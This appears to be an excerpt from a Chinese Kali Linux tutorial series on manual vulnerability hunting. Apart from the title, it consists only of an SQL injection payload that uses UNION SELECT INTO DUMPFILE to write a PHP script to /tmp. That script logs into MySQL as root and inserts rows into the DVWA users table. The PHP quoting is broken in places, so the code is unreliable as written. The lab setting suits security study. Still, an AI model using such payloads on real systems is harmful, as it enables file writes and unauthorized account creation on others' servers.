kali linux挖漏洞,Kali Linux笔记(四十九)：手动漏洞挖掘

' union select null,'<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name = $_POST["first_name"]; $last_name = $_POST["last_name"]; $username = $_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID
"; echo "first_name: $first_name
"; echo "last_name: $last_name
"; echo "username: $username
"; echo "avatar: $avatar
"; $con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to database
"; } $password = "123"; $sql="insert into dvwa.users values (\"$userID\", "$first_name\",\"$last_name\",\"$username\",MD5(\"$password\"),\"$avatar ")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error creating database: " . mysqli_error($con); } mysqli_close($con); } ?>

"> ' INTO DUMPFILE '/tmp/user.php' --